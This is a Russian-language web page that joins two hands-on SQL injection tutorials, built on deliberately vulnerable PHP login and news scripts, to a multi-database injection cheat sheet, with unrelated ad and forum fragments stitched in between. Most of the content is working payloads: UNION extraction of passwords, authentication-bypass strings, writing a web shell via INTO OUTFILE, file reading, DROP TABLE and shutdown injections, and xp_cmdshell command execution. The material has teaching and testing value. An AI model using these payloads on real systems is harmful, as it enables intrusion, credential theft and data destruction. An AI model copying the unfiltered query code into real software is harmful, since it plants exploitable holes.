Что такое инъекция SQL? Как хакнуть форму? Sql инъекции.

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги:

  • SQL injection
  • sql inj
Добавить метки

Представляем вашему вниманию новый курс от команды The Codeby - "Тестирование Веб-Приложений на проникновение с нуля". Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое.


Суть SQL-инъекций

Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут - рисуем оставшуюся часть совы ».

Вот даже картинка по этому поводу есть:

По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…

Цель этой заметки - натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны .

Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:

Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:

Введите ваше имя

Введите ваш пароль


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) { while ($obj = $result->fetch_object()) { echo "

Ваше имя: $obj->name

Ваш статус: $obj->status

Доступные для Вас книги: $obj->books


"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>

Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот . В нём два файла: index.php и db_library.sql . Файл index.php разместите в любое место на сервере - это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.

В файл index.php в качестве имени пользователя базы данных задан root, а пароль - пустой. Вы можете вписать свои данные, отредактировав строчку:

$mysqli = new mysqli("localhost", "root", "", "db_library");

По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя - Demo, пароль - 111 .

Давайте введём их и посмотрим:

Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.

Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:

SELECT * FROM `members` WHERE name = "$name" AND password ="$password"

Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором - только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * — это означает получить все значения.

FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.

Далее WHERE , если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае

(name = ‘$name’) AND (password =’$password’)

означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие - совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.

Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Никакие данные не получены, вместо них мы видим ошибку:

Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "111"" at line 1

При введении верных данных, наш запрос выглядел так:

SELECT * FROM `members` WHERE name = "Demo" AND password ="111"

При добавлении кавычки, наш запрос превращается в следующее:

SELECT * FROM `members` WHERE name = "Demo" " AND password ="111"

Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос

кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:

" AND password ="111"

Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:

SELECT * FROM `members` WHERE name = "Demo" " " AND password ="111"

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?

Ответ есть - это комментарии.

Комментарии в MySQL можно задать тремя способами:

# (решётка - работает до конца строки)

(два тире - работают до конца строки, нужен символ пробела после двух тире)

/* это комментарий */ группа из четырёх символов - всё, что внутри - это комментарий, всё, что до или после этой группы символов, не считается комментарием.

Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:

SELECT * FROM `members` WHERE name = "Demo" --+ " AND password ="111"

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password=111

Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид

SELECT * FROM `members` WHERE name = "Demo"

ведь хвостик —+ ‘ AND password =’111’ превратился в комментарий и больше на запрос не влияет.

Посмотрите ещё раз внимательно на новый запрос:

SELECT * FROM `members` WHERE name = "Demo"

И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.

К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.

Посмотрим внимательно на эту часть запроса:

WHERE name = "Demo"

Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение

WHERE name = "Demo" OR 1

всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.

Т.е. нам нужно составить выражение, которое будет выгладить так:

SELECT * FROM `members` WHERE name = "Demo" OR 1

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 —+ &password=111

Результат:

Результат отличный! Мы получили список всех записей в таблице.

ORDER BY и UNION - главные друзья SQL-инъекций

Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!

UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.

UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 —+ &password=111

Запрос выглядит так:

SELECT * FROM `members` WHERE name = "-1" ORDER BY 1

Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.

Ошибки нет, также нет ошибки и при запросах

SELECT * FROM `members` WHERE name = "-1" ORDER BY 2 SELECT * FROM `members` WHERE name = "-1" ORDER BY 3 SELECT * FROM `members` WHERE name = "-1" ORDER BY 4 SELECT * FROM `members` WHERE name = "-1" ORDER BY 5

А вот запрос

SELECT * FROM `members` WHERE name = "-1" ORDER BY 6

ему соответствует адресная стркоа

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 —+ &password=111

Выдал ошибку

Ошибка: Unknown column "6" in "order clause"

Это означает, что из таблицы выбираются данные по пяти колонкам.

Конструируем наш запрос с UNION:

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях - не очень важно. Можно, например, прописать просто цифры - и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4,5

Адресная строка:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции, которые можно писать непосредственно в UNION:

  • DATABASE() — показать имя текущей базы данных
  • CURRENT_USER() — показывает имя пользователя и имя хоста
  • @@datadir - выводит абсолютный путь до базы данных
  • USER() — имя пользователя
  • VERSION() — версия базы данных

В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.

Используем DATABASE() в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password=111

Результат:

Используем CURRENT_USER() в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Результат:

Используем @@datadir в UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Результат:

Получение имён таблицы, полей и дамп базы данных

В базе данных information_schema есть таблица, которая называется tables . В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных - ‘db_library’ (имя мы узнали с помощью DATABASE()).

Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка

Ошибка: Illegal mix of collations for operation "UNION"

Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:

Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно - сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.

п.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.

Гарант является доверенным посредником между Участниками при проведении сделки.



Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL .

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (возможно на других БД);
* (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin" --
Сгенерированный запрос: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.


Зелёный - поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
пример:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII("a")
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin" --
admin" #
admin"/*
" or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
" union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo(строка типа varchar(8000))
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping "

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ("First User", "Second User")
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

